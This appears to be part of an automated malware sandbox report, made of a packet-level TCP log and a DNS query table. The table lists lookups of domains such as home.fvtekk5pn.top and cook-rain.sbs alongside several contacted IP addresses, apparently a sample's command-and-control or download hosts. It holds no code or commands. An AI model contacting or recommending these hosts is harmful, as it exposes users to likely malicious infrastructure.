Nov 21, 2024 14:11:32.739367008 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.739408016 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.742903948 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.742954969 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.742974043 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.743030071 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.746793985 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.746838093 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.746851921 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.746897936 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.750375986 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.750432968 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.750475883 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.750519991 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.754129887 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.754187107 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.754249096 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.754342079 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.757862091 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.757909060 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.758019924 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.758071899 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.761517048 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.761575937 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.761614084 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.761668921 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.765417099 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.765433073 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.765479088 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.765479088 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.769515038 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.769572020 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.769623041 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.769669056 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.772766113 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.772840023 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.772888899 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.772888899 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.776520967 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.776557922 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.776710987 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.815217972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.815231085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.815480947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.815506935 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.815680981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.815838099 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.816442013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.816581011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.816644907 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.817157030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.817468882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.817606926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.817715883 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.818219900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.818332911 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.818372965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.819123983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.819273949 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.819351912 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.820008993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.820149899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.820163965 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.820765972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.820908070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.820966005 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.821832895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.821845055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.821903944 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.822566986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.822724104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.822835922 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.823369980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.823384047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.823463917 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.824218988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.824291945 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.824356079 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.824815989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.824969053 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.825035095 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.825470924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.825539112 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.825612068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.826320887 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.826334000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.826406002 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.826926947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.827089071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.827188969 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.827907085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.827938080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.828023911 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.828684092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.828722000 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.828865051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.829351902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.829363108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.829418898 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.830334902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.830369949 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.830508947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.831104040 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.831250906 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.831284046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.831757069 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.831835985 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.832046986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.832540035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.832608938 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.832839012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.833425045 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.833533049 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.833549023 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.834320068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.834331989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.834412098 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.834779024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.834790945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.834810972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.834824085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.834846973 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.834880114 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.835516930 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.835576057 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.835582972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.836476088 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.836528063 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.836538076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.837130070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.837240934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.837300062 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.837949038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.838053942 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.838063002 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.838717937 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.838815928 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.838821888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.839809895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.839920998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.839927912 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.840691090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.840758085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.840761900 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.841551065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.841588020 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.841617107 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.842250109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.842377901 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.842421055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.842818022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.842876911 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.842909098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.843569040 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.843682051 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.843811035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.844297886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.844362974 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.844367981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.845129967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.845258951 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.845263958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.845885992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.845964909 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.846050024 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.846698999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.846785069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.846812010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.847523928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.847610950 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.847662926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.848288059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.848320961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.848335028 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.849092960 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.849206924 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.849225998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.849874973 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.850003004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.850056887 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.850944996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.851022005 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.851080894 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.851613045 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.851646900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.851675034 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.852478027 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.852526903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.852533102 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.853072882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.853121996 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.853171110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.853910923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.854003906 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.854016066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.854753971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.854799032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.854863882 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.855483055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.855547905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:32.855576038 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.872364044 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.872428894 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.872499943 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.872560978 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.873756886 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.873806000 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.873877048 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.873933077 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.876740932 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.876801968 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.876876116 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.876974106 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.879225969 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.879282951 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.879426956 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.879645109 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.882105112 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.882179976 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.882225990 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.882344007 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.884932995 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.884996891 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.885005951 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.885075092 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.887479067 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.887537003 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.887569904 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.887609959 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.890089989 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.890152931 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.890186071 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.890327930 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.890759945 CET	443	49930	188.114.97.3	192.168.2.6
Nov 21, 2024 14:11:32.890846014 CET	49930	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:32.892318964 CET	49930	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:32.892343044 CET	443	49930	188.114.97.3	192.168.2.6
Nov 21, 2024 14:11:32.892592907 CET	443	49930	188.114.97.3	192.168.2.6
Nov 21, 2024 14:11:32.892667055 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.892733097 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.892784119 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.892831087 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.894058943 CET	49930	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:32.894098043 CET	49930	443	192.168.2.6	188.114.97.3
Nov 21, 2024 14:11:32.894140959 CET	443	49930	188.114.97.3	192.168.2.6
Nov 21, 2024 14:11:32.895452023 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.895509005 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.895529985 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.895579100 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.897974968 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.898082018 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.898139954 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.898746014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:32.900271893 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.900444031 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.900481939 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.900482893 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.902713060 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.902882099 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.902956009 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.905139923 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.905203104 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.905255079 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.905411959 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.907577038 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.907627106 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.907675982 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.907723904 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.910015106 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.910073042 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.910073996 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.910118103 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.912502050 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.912553072 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.912600994 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.912687063 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.914855957 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.914942980 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.914987087 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.915040970 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.917385101 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.917467117 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.917505026 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.917570114 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.919720888 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.919827938 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.919876099 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.922996044 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.923064947 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.923111916 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.923161030 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.924643040 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.924706936 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.924745083 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.924798012 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.927077055 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.927129984 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.927176952 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.927226067 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.929462910 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.929519892 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.929558992 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.929619074 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.931858063 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.931915045 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.931977034 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.932157993 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.934308052 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.934355021 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.934390068 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.934406996 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.936893940 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.936939955 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.937045097 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.937091112 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.939132929 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.939188004 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.939232111 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.939296961 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.941559076 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.941633940 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.941687107 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.941735029 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.943988085 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.944057941 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.944092989 CET	80	49927	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:32.944153070 CET	49927	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:32.946465015 CET	80	49927	185.215.113.16	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 21, 2024 14:11:20.754801035 CET	192.168.2.6	1.1.1.1	0x1c35	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:20.754858017 CET	192.168.2.6	1.1.1.1	0x3d81	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 21, 2024 14:11:29.065042019 CET	192.168.2.6	1.1.1.1	0xac25	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:45.522701025 CET	192.168.2.6	1.1.1.1	0x7788	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 21, 2024 14:11:45.523164988 CET	192.168.2.6	1.1.1.1	0x2e9f	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 21, 2024 14:11:47.273828983 CET	192.168.2.6	1.1.1.1	0x3df3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
